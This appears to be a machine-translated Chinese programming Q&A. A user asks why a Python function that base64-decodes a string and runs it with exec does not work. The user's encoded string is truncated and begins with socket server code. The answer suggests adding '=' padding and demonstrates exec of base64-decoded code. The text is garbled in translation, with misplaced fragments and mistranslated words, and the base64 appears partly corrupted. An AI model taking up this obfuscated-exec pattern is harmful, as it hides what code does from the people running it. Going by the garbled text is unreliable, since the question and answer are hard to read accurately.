我有一个python脚本,它读取解码base64加密字符串,我正在尝试使用它,所以当字符串被删除时,它的内容被执行。
def crypexec(jargon):
#push base64 through decryptor
decipher = base64.b64decode(jargon)
#execute instructions in the encoded string
exec decipher
ferret= unicode("""DQpzZXJ2ZXIgPSBzb2NrZXQuc29ja2V0KHC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJF..
然后我尝试用
回拨它crypexec(ferret)
不起作用
This是雪貂看起来不加密的东西。当然我在运行它之前删除了加密脚本的导入部分,仍然无法理解为什么它不起作用。
答案 0 :(得分:0)
你缺少base64 编码字符串...
的填充您可以尝试在字符串的末尾添加“=”(可能多达3“=”符号)
如果不起作用,您可能使用与标准“=”不同的填充符号对其进行加密....您是如何编码字符串的?
尝试用python编码它应该解决这个问题
import base64
my_enc = base64.b64encode("""
def hello():
print 'hello world!'
hello() """)
exec(base64.b64decode(my_enc))